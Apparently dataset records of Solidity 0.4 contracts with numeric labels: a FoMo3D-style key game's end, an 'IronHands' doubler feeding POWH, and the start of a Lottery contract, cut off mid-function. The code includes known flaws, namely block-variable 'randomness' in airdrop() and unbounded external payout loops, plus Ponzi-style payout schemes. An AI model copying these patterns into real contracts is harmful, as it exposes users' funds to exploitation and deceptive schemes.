_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, LBdatasets.EventReturns memory _eventData_)
private
returns(LBdatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _aff = _eth / 5;
_com = _com * 5;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit LBevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_com = _com.add(_aff);
}
community_addr.transfer(_com);
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, LBdatasets.EventReturns memory _eventData_)
private
returns(LBdatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 50);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(34)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, LBdatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit LBevents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == community_addr, "only community can activate"
);
require(activated_ == false, "LB already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
function start()
{
require(
msg.sender == community_addr, "only community can activate"
);
require(activated_ == false, "LB already activated");
activated_ = true;
}
function stop()
public
{
require(
msg.sender == community_addr, "only community can activate"
);
require(activated_ == true, "LB already activated");
activated_ = false;
}
}
library LBdatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library LBKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(156250000000000000000000000)).add(1406247070314025878906250000000000000000000000000000000000000000)).sqrt()).sub(37499960937500000000000000000000)) / (78125000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((39062500).mul(_keys.sq()).add(((74999921875000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 2,035 |
pragma solidity ^0.4.21;
contract ERC20Interface {
function transfer(address to, uint256 tokens) public returns (bool success);
}
contract POWH {
function buy(address) public payable returns(uint256);
function withdraw() public;
function myTokens() public view returns(uint256);
function myDividends(bool) public view returns(uint256);
}
contract Owned {
address public owner;
address public ownerCandidate;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) public onlyOwner {
ownerCandidate = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == ownerCandidate);
owner = ownerCandidate;
}
}
contract IronHands is Owned {
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
modifier notPowh(address aContract){
require(aContract != address(weak_hands));
_;
}
event Deposit(uint256 amount, address depositer);
event Purchase(uint256 amountSpent, uint256 tokensReceived);
event Payout(uint256 amount, address creditor);
event Dividends(uint256 amount);
event Donation(uint256 amount, address donator);
event ContinuityBreak(uint256 position, address skipped, uint256 amount);
event ContinuityAppeal(uint256 oldPosition, uint256 newPosition, address appealer);
struct Participant {
address etherAddress;
uint256 payout;
}
uint256 throughput;
uint256 dividends;
uint256 public multiplier;
uint256 public payoutOrder = 0;
uint256 public backlog = 0;
Participant[] public participants;
mapping(address => uint256) public creditRemaining;
POWH weak_hands;
function IronHands(uint multiplierPercent, address powh) public {
multiplier = multiplierPercent;
weak_hands = POWH(powh);
}
function() payable public {
}
function deposit() payable public {
require(msg.value > 1000000 && msg.value <= 5000000000000000);
uint256 amountCredited = (msg.value * multiplier) / 100;
participants.push(Participant(msg.sender, amountCredited));
backlog += amountCredited;
creditRemaining[msg.sender] += amountCredited;
emit Deposit(msg.value, msg.sender);
if(myDividends() > 0){
withdraw();
}
payout();
}
function payout() public {
uint balance = address(this).balance;
require(balance > 1);
throughput += balance;
uint investment = balance / 2;
balance -= investment;
uint256 tokens = weak_hands.buy.value(investment).gas(1000000)(msg.sender);
emit Purchase(investment, tokens);
while (balance > 0) {
uint payoutToSend = balance < participants[payoutOrder].payout ? balance : participants[payoutOrder].payout;
if(payoutToSend > 0){
balance -= payoutToSend;
backlog -= payoutToSend;
creditRemaining[participants[payoutOrder].etherAddress] -= payoutToSend;
participants[payoutOrder].payout -= payoutToSend;
if(participants[payoutOrder].etherAddress.call.value(payoutToSend).gas(1000000)()){
emit Payout(payoutToSend, participants[payoutOrder].etherAddress);
}else{
balance += payoutToSend;
backlog += payoutToSend;
creditRemaining[participants[payoutOrder].etherAddress] += payoutToSend;
participants[payoutOrder].payout += payoutToSend;
}
}
if(balance > 0){
payoutOrder += 1;
}
if(payoutOrder >= participants.length){
return;
}
}
}
function myTokens() public view returns(uint256){
return weak_hands.myTokens();
}
function myDividends() public view returns(uint256){
return weak_hands.myDividends(true);
}
function totalDividends() public view returns(uint256){
return dividends;
}
function withdraw() public {
uint256 balance = address(this).balance;
weak_hands.withdraw.gas(1000000)();
uint256 dividendsPaid = address(this).balance - balance;
dividends += dividendsPaid;
emit Dividends(dividendsPaid);
}
function donate() payable public {
emit Donation(msg.value, msg.sender);
}
function backlogLength() public view returns (uint256){
return participants.length - payoutOrder;
}
function backlogAmount() public view returns (uint256){
return backlog;
}
function totalParticipants() public view returns (uint256){
return participants.length;
}
function totalSpent() public view returns (uint256){
return throughput;
}
function amountOwed(address anAddress) public view returns (uint256) {
return creditRemaining[anAddress];
}
function amountIAmOwed() public view returns (uint256){
return amountOwed(msg.sender);
}
function transferAnyERC20Token(address tokenAddress, address tokenOwner, uint tokens) public onlyOwner notPowh(tokenAddress) returns (bool success) {
return ERC20Interface(tokenAddress).transfer(tokenOwner, tokens);
}
} | 1 | 3,435 |
pragma solidity ^0.4.24;
library Helper {
using SafeMath for uint256;
uint256 constant public ZOOM = 1000;
uint256 constant public SDIVIDER = 3450000;
uint256 constant public PDIVIDER = 3450000;
uint256 constant public RDIVIDER = 1580000;
uint256 constant public SLP = 0.002 ether;
uint256 constant public SAT = 30;
uint256 constant public PN = 777;
uint256 constant public PBASE = 13;
uint256 constant public PMULTI = 26;
uint256 constant public LBase = 1;
uint256 constant public ONE_HOUR = 3600;
uint256 constant public ONE_DAY = 24 * ONE_HOUR;
uint256 constant public TIMEOUT1 = 12 * ONE_HOUR;
uint256 constant public TIMEOUT2 = 7 * ONE_DAY;
function bytes32ToString (bytes32 data)
public
pure
returns (string)
{
bytes memory bytesString = new bytes(32);
for (uint j=0; j<32; j++) {
byte char = byte(bytes32(uint(data) * 2 ** (8 * j)));
if (char != 0) {
bytesString[j] = char;
}
}
return string(bytesString);
}
function uintToBytes32(uint256 n)
public
pure
returns (bytes32)
{
return bytes32(n);
}
function bytes32ToUint(bytes32 n)
public
pure
returns (uint256)
{
return uint256(n);
}
function stringToBytes32(string memory source)
public
pure
returns (bytes32 result)
{
bytes memory tempEmptyStringTest = bytes(source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
function stringToUint(string memory source)
public
pure
returns (uint256)
{
return bytes32ToUint(stringToBytes32(source));
}
function uintToString(uint256 _uint)
public
pure
returns (string)
{
return bytes32ToString(uintToBytes32(_uint));
}
function validUsername(string _username)
public
pure
returns(bool)
{
uint256 len = bytes(_username).length;
if ((len < 4) || (len > 18)) return false;
if (bytes(_username)[len-1] == 32) return false;
return uint256(bytes(_username)[0]) != 48;
}
function getAddedTime(uint256 _rTicketSum, uint256 _tAmount)
public
pure
returns (uint256)
{
uint256 base = (_rTicketSum + 1).mul(10000) / SDIVIDER;
uint256 expo = base;
expo = expo.mul(expo).mul(expo);
expo = expo.mul(expo);
expo = expo / (10**24);
if (expo > SAT) return 0;
return (SAT - expo).mul(_tAmount);
}
function getNewEndTime(uint256 toAddTime, uint256 slideEndTime, uint256 fixedEndTime)
public
view
returns(uint256)
{
uint256 _slideEndTime = (slideEndTime).add(toAddTime);
uint256 timeout = _slideEndTime.sub(block.timestamp);
if (timeout > TIMEOUT1) timeout = TIMEOUT1;
_slideEndTime = (block.timestamp).add(timeout);
if (_slideEndTime > fixedEndTime) return fixedEndTime;
return _slideEndTime;
}
function getRandom(uint256 _seed, uint256 _range)
public
pure
returns(uint256)
{
if (_range == 0) return _seed;
return (_seed % _range) + 1;
}
function getEarlyIncomeMul(uint256 _ticketSum)
public
pure
returns(uint256)
{
uint256 base = _ticketSum * ZOOM / RDIVIDER;
uint256 expo = base.mul(base).mul(base);
expo = expo.mul(expo) / (ZOOM**6);
return (1 + PBASE / (1 + expo.mul(PMULTI)));
}
function getTAmount(uint256 _ethAmount, uint256 _ticketSum)
public
pure
returns(uint256)
{
uint256 _tPrice = getTPrice(_ticketSum);
return _ethAmount.div(_tPrice);
}
function isGoldenMin(
uint256 _slideEndTime
)
public
view
returns(bool)
{
uint256 _restTime1 = _slideEndTime.sub(block.timestamp);
if (_restTime1 > 6 hours) return false;
uint256 _min = (block.timestamp / 60) % 60;
return _min == 8;
}
function getTMul(
uint256 _initGrandPot,
uint256 _grandPot,
uint256 _slideEndTime,
uint256 _fixedEndTime
)
public
view
returns(uint256)
{
uint256 _pZoom = 100;
uint256 base = _initGrandPot != 0 ?_pZoom.mul(_grandPot) / _initGrandPot : _pZoom;
uint256 expo = base.mul(base);
uint256 _timer1 = _slideEndTime.sub(block.timestamp) / 1 hours;
uint256 _timer2 = _fixedEndTime.sub(block.timestamp) / 1 days;
uint256 x = (_pZoom * (11 - _timer1) / 4) + _pZoom;
uint256 y = (_pZoom * (6 - _timer2) / 3) + _pZoom;
uint256 z = isGoldenMin(_slideEndTime) ? 4 : 1;
uint256 res = expo.mul(x).mul(y).mul(z) / (_pZoom ** 3);
return res;
}
function getTPrice(uint256 _ticketSum)
public
pure
returns(uint256)
{
uint256 base = (_ticketSum + 1).mul(ZOOM) / PDIVIDER;
uint256 expo = base;
expo = expo.mul(expo).mul(expo);
expo = expo.mul(expo);
uint256 tPrice = SLP + expo / PN;
return tPrice;
}
function getWeightRange(uint256 initGrandPot)
public
pure
returns(uint256)
{
uint256 avgMul = 30;
return ((initGrandPot * 2 * 100 / 68) * avgMul / SLP) + 1000;
}
function isJackpot(
uint256 _seed,
uint256 _RATE,
uint256 _MIN,
uint256 _ethAmount
)
public
pure
returns(bool)
{
uint256 k = _ethAmount / _MIN;
if (k == 0) return false;
uint256 _loseCap = _RATE / 2;
if (_RATE > k + _loseCap) _loseCap = _RATE - k;
bool _lose = (_seed % _RATE) < _loseCap;
return !_lose;
}
}
contract Lottery {
using SafeMath for uint256;
modifier withdrawRight(){
require(msg.sender == address(bankContract), "Bank only");
_;
}
modifier onlyDevTeam() {
require(msg.sender == devTeam, "only for development team");
_;
}
modifier buyable() {
require(block.timestamp > round[curRoundId].startTime, "not ready to sell Ticket");
require(block.timestamp < round[curRoundId].slideEndTime, "round over");
require(block.number <= round[curRoundId].keyBlockNr, "round over");
_;
}
modifier notStarted() {
require(block.timestamp < round[curRoundId].startTime, "round started");
_;
}
enum RewardType {
Minor,
Major,
Grand,
Bounty
}
struct Slot {
address buyer;
uint256 rId;
uint256 tNumberFrom;
uint256 tNumberTo;
uint256 ethAmount;
uint256 salt;
}
struct Round {
uint256 rEarlyIncomeWeight;
uint256 keyBlockNr;
mapping(address => bool) pBonusReceived;
mapping(address => uint256) pBoughtTicketSum;
mapping(address => uint256) pTicketSum;
mapping(address => uint256) pInvestedSum;
mapping(address => uint256) pEarlyIncomeWeight;
mapping(address => uint256) pEarlyIncomeCredit;
mapping(address => uint256) pEarlyIncomeClaimed;
uint256 ppw;
uint256 startTime;
uint256 slideEndTime;
uint256 fixedEndTime;
uint256 ticketSum;
uint256 investedSum;
uint256 slotSum;
}
uint256 public initGrandPot;
Slot[] public slot;
mapping( address => uint256[]) pSlot;
mapping( address => uint256) public pSlotSum;
mapping( address => uint256) public pTicketSum;
mapping( address => uint256) public pInvestedSum;
CitizenInterface public citizenContract;
F2mInterface public f2mContract;
BankInterface public bankContract;
RewardInterface public rewardContract;
address public devTeam;
uint256 constant public ZOOM = 1000;
uint256 constant public ONE_HOUR = 60 * 60;
uint256 constant public ONE_DAY = 24 * ONE_HOUR;
uint256 constant public TIMEOUT0 = 3 * ONE_HOUR;
uint256 constant public TIMEOUT1 = 12 * ONE_HOUR;
uint256 constant public TIMEOUT2 = 7 * ONE_DAY;
uint256 constant public FINALIZE_WAIT_DURATION = 60;
uint256 constant public NEWROUND_WAIT_DURATION = 18 * ONE_HOUR;
uint256 constant public BLOCK_TIME = 12;
uint256 constant public MAX_BLOCK_DISTANCE = 250;
uint256 constant public TBONUS_RATE = 100;
uint256 public CASHOUT_REQ = 1;
uint256 public GRAND_RATE;
uint256 public MAJOR_RATE = 1001;
uint256 public MINOR_RATE = 501;
uint256 constant public MAJOR_MIN = 0.1 ether;
uint256 constant public MINOR_MIN = 0.1 ether;
uint256 public bountyPercent = 30;
uint256 public sBountyPercent = 10;
uint256 public grandRewardPercent = 15;
uint256 public sGrandRewardPercent = 5;
uint256 public jRewardPercent = 60;
uint256 public toTokenPercent = 12;
uint256 public toBuyTokenPercent = 1;
uint256 public earlyIncomePercent = 22;
uint256 public toRefPercent = 15;
uint256 public majorPercent = 10;
uint256 public minorPercent = 10;
uint256 public grandPot;
uint256 public majorPot;
uint256 public minorPot;
uint256 public curRoundId;
uint256 public lastRoundId = 88888888;
mapping (address => uint256) public rewardBalance;
mapping (address => uint256) public lastWithdrawnRound;
mapping (address => uint256) public earlyIncomeScannedSum;
mapping (uint256 => Round) public round;
uint256 public jSlot;
uint256 public lastBlockNr;
uint256 public curRSalt;
uint256 public curRTicketSum;
uint256 public lastBuyTime;
uint256 public lastEndTime;
uint256 constant multiDelayTime = 60;
constructor (address _devTeam)
public
{
DevTeamInterface(_devTeam).setLotteryAddress(address(this));
devTeam = _devTeam;
}
function joinNetwork(address[6] _contract)
public
{
require(address(citizenContract) == 0x0,"already setup");
f2mContract = F2mInterface(_contract[0]);
bankContract = BankInterface(_contract[1]);
citizenContract = CitizenInterface(_contract[2]);
rewardContract = RewardInterface(_contract[4]);
}
function activeFirstRound()
public
onlyDevTeam()
{
require(curRoundId == 0, "already activated");
initRound();
GRAND_RATE = getWeightRange();
}
function pushToPot()
public
payable
{
addPot(msg.value);
}
function checkpoint()
private
{
Slot memory _slot;
slot.push(_slot);
Round memory _round;
_round.startTime = NEWROUND_WAIT_DURATION.add(block.timestamp);
_round.slideEndTime = TIMEOUT0 + _round.startTime;
_round.fixedEndTime = TIMEOUT2 + _round.startTime;
_round.keyBlockNr = genEstKeyBlockNr(_round.slideEndTime);
_round.ticketSum = round[curRoundId].ticketSum;
_round.investedSum = round[curRoundId].investedSum;
_round.slotSum = slot.length;
curRoundId = curRoundId + 1;
round[curRoundId] = _round;
initGrandPot = grandPot;
curRTicketSum = 0;
}
function isLastRound()
public
view
returns(bool)
{
return (curRoundId == lastRoundId);
}
function goNext()
private
{
grandPot = 0;
majorPot = 0;
minorPot = 0;
f2mContract.pushDividends.value(this.balance)();
round[curRoundId].startTime = block.timestamp * 10;
round[curRoundId].slideEndTime = block.timestamp * 10 + 1;
CASHOUT_REQ = 0;
}
function initRound()
private
{
checkpoint();
if (isLastRound()) goNext();
updateMulti();
}
function finalizeable()
public
view
returns(bool)
{
uint256 finalizeTime = FINALIZE_WAIT_DURATION.add(round[curRoundId].slideEndTime);
if (finalizeTime > block.timestamp) return false;
if (getEstKeyBlockNr(curRoundId) >= block.number) return false;
return curRoundId > 0;
}
function finalize()
public
{
require(finalizeable(), "Not ready to draw results");
uint256 _pRoundTicketSum = round[curRoundId].pBoughtTicketSum[msg.sender];
uint256 _bountyTicketSum = _pRoundTicketSum * bountyPercent / 100;
endRound(msg.sender, _bountyTicketSum);
initRound();
mintSlot(msg.sender, _bountyTicketSum, 0, 0);
}
function mintReward(
address _lucker,
uint256 _winNr,
uint256 _slotId,
uint256 _value,
RewardType _rewardType)
private
{
if ((_rewardType != RewardType.Bounty) && (_lucker != 0x0))
rewardBalance[_lucker] = rewardBalance[_lucker].add(_value);
rewardContract.mintReward(
_lucker,
curRoundId,
_winNr,
slot[_slotId].tNumberFrom,
slot[_slotId].tNumberTo,
_value,
uint256(_rewardType)
);
}
function mintSlot(
address _buyer,
uint256 _tAmount,
uint256 _ethAmount,
uint256 _salt
)
private
{
uint256 _tNumberFrom = curRTicketSum + 1;
uint256 _tNumberTo = _tNumberFrom + _tAmount - 1;
Slot memory _slot;
_slot.buyer = _buyer;
_slot.rId = curRoundId;
_slot.tNumberFrom = _tNumberFrom;
_slot.tNumberTo = _tNumberTo;
_slot.ethAmount = _ethAmount;
_slot.salt = _salt;
slot.push(_slot);
updateTicketSum(_buyer, _tAmount);
round[curRoundId].slotSum = slot.length;
pSlot[_buyer].push(slot.length - 1);
}
function jackpot()
private
{
uint256 keyBlockNr = getKeyBlockNr(lastBlockNr);
uint256 seed = getSeed(keyBlockNr);
uint256 jReward;
address winner;
while (jSlot + 1 < round[curRoundId].slotSum) {
if (MAJOR_RATE > 2) MAJOR_RATE--;
if (Helper.isJackpot(seed, MAJOR_RATE, MAJOR_MIN, slot[jSlot].ethAmount)){
winner = slot[jSlot].buyer;
jReward = majorPot / 100 * jRewardPercent;
mintReward(winner, 0, jSlot, jReward, RewardType.Major);
majorPot = majorPot - jReward;
MAJOR_RATE = 1001;
}
seed = seed + jSlot;
if (MINOR_RATE > 2) MINOR_RATE--;
if (Helper.isJackpot(seed, MINOR_RATE, MINOR_MIN, slot[jSlot].ethAmount)){
winner = slot[jSlot].buyer;
jReward = minorPot / 100 * jRewardPercent;
mintReward(winner, 0, jSlot, jReward, RewardType.Minor);
minorPot = minorPot - jReward;
MINOR_RATE = 501;
}
seed = seed + jSlot;
jSlot++;
}
}
function endRound(address _bountyHunter, uint256 _bountyTicketSum)
private
{
uint256 _rId = curRoundId;
uint256 keyBlockNr = getKeyBlockNr(round[_rId].keyBlockNr);
uint256 _seed = getSeed(keyBlockNr) + curRSalt;
uint256 onePercent = grandPot / 100;
uint256[2] memory rGrandReward = [
onePercent * sGrandRewardPercent,
onePercent * grandRewardPercent
];
uint256[2] memory weightRange = [
curRTicketSum,
GRAND_RATE > curRTicketSum ? GRAND_RATE : curRTicketSum
];
for (uint256 i = 0; i < 2; i++){
address _winner = 0x0;
uint256 _winSlot = 0;
uint256 _winNr = Helper.getRandom(_seed, weightRange[i]);
if (_winNr <= curRTicketSum) {
grandPot -= rGrandReward[i];
if (i == 1) {
GRAND_RATE = GRAND_RATE * 2;
}
_winSlot = getWinSlot(_winNr);
_winner = slot[_winSlot].buyer;
_seed = _seed + (_seed / 10);
}
mintReward(_winner, _winNr, _winSlot, rGrandReward[i], RewardType.Grand);
}
mintReward(_bountyHunter, 0, 0, _bountyTicketSum, RewardType.Bounty);
rewardContract.resetCounter(curRoundId);
GRAND_RATE = (GRAND_RATE / 100) * 99 + 1;
}
function buy(string _sSalt)
public
payable
{
buyFor(_sSalt, msg.sender);
}
function updateInvested(address _buyer, uint256 _ethAmount)
private
{
round[curRoundId].investedSum += _ethAmount;
round[curRoundId].pInvestedSum[_buyer] += _ethAmount;
pInvestedSum[_buyer] += _ethAmount;
}
function updateTicketSum(address _buyer, uint256 _tAmount)
private
{
round[curRoundId].ticketSum = round[curRoundId].ticketSum + _tAmount;
round[curRoundId].pTicketSum[_buyer] = round[curRoundId].pTicketSum[_buyer] + _tAmount;
curRTicketSum = curRTicketSum + _tAmount;
pTicketSum[_buyer] = pTicketSum[_buyer] + _tAmount;
}
function updateEarlyIncome(address _buyer, uint256 _pWeight)
private
{
round[curRoundId].rEarlyIncomeWeight = _pWeight.add(round[curRoundId].rEarlyIncomeWeight);
round[curRoundId].pEarlyIncomeWeight[_buyer] = _pWeight.add(round[curRoundId].pEarlyIncomeWeight[_buyer]);
round[curRoundId].pEarlyIncomeCredit[_buyer] = round[curRoundId].pEarlyIncomeCredit[_buyer].add(_pWeight.mul(round[curRoundId].ppw));
}
function getBonusTickets(address _buyer)
private
returns(uint256)
{
if (round[curRoundId].pBonusReceived[_buyer]) return 0;
round[curRoundId].pBonusReceived[_buyer] = true;
return round[curRoundId - 1].pBoughtTicketSum[_buyer] / TBONUS_RATE;
}
function updateMulti()
private
{
if (lastBuyTime + multiDelayTime < block.timestamp) {
lastEndTime = round[curRoundId].slideEndTime;
}
lastBuyTime = block.timestamp;
}
function buyFor(string _sSalt, address _sender)
public
payable
buyable()
{
uint256 _salt = Helper.stringToUint(_sSalt);
uint256 _ethAmount = msg.value;
uint256 _ticketSum = curRTicketSum;
require(_ethAmount >= Helper.getTPrice(_ticketSum), "not enough to buy 1 ticket");
updateInvested(_sender, _ethAmount);
updateMulti();
curRSalt = curRSalt + _salt;
uint256 _tAmount = Helper.getTAmount(_ethAmount, _ticketSum);
uint256 _tMul = getTMul();
uint256 _pMul = Helper.getEarlyIncomeMul(_ticketSum);
uint256 _pWeight = _pMul.mul(_tAmount);
uint256 _toAddTime = Helper.getAddedTime(_ticketSum, _tAmount);
addTime(curRoundId, _toAddTime);
_tAmount = _tAmount.mul(_tMul) / 100;
round[curRoundId].pBoughtTicketSum[_sender] += _tAmount;
mintSlot(_sender, _tAmount + getBonusTickets(_sender), _ethAmount, _salt);
updateEarlyIncome(_sender, _pWeight);
if (lastBlockNr != block.number) {
jackpot();
lastBlockNr = block.number;
}
distributeSlotBuy(_sender, curRoundId, _ethAmount);
round[curRoundId].keyBlockNr = genEstKeyBlockNr(round[curRoundId].slideEndTime);
}
function distributeSlotBuy(address _sender, uint256 _rId, uint256 _ethAmount)
private
{
uint256 onePercent = _ethAmount / 100;
uint256 toF2mAmount = onePercent * toTokenPercent;
uint256 toRefAmount = onePercent * toRefPercent;
uint256 toBuyTokenAmount = onePercent * toBuyTokenPercent;
uint256 earlyIncomeAmount = onePercent * earlyIncomePercent;
uint256 taxAmount = toF2mAmount + toRefAmount + toBuyTokenAmount + earlyIncomeAmount;
uint256 taxedEthAmount = _ethAmount.sub(taxAmount);
addPot(taxedEthAmount);
citizenContract.pushRefIncome.value(toRefAmount)(_sender);
f2mContract.pushDividends.value(toF2mAmount)();
f2mContract.buyFor.value(toBuyTokenAmount)(_sender);
uint256 deltaPpw = (earlyIncomeAmount * ZOOM).div(round[_rId].rEarlyIncomeWeight);
round[_rId].ppw = deltaPpw.add(round[_rId].ppw);
}
function claimEarlyIncomebyAddress(address _buyer)
private
{
if (curRoundId == 0) return;
claimEarlyIncomebyAddressRound(_buyer, curRoundId);
uint256 _rId = curRoundId - 1;
while ((_rId > lastWithdrawnRound[_buyer]) && (_rId + 20 > curRoundId)) {
earlyIncomeScannedSum[_buyer] += claimEarlyIncomebyAddressRound(_buyer, _rId);
_rId = _rId - 1;
}
}
function claimEarlyIncomebyAddressRound(address _buyer, uint256 _rId)
private
returns(uint256)
{
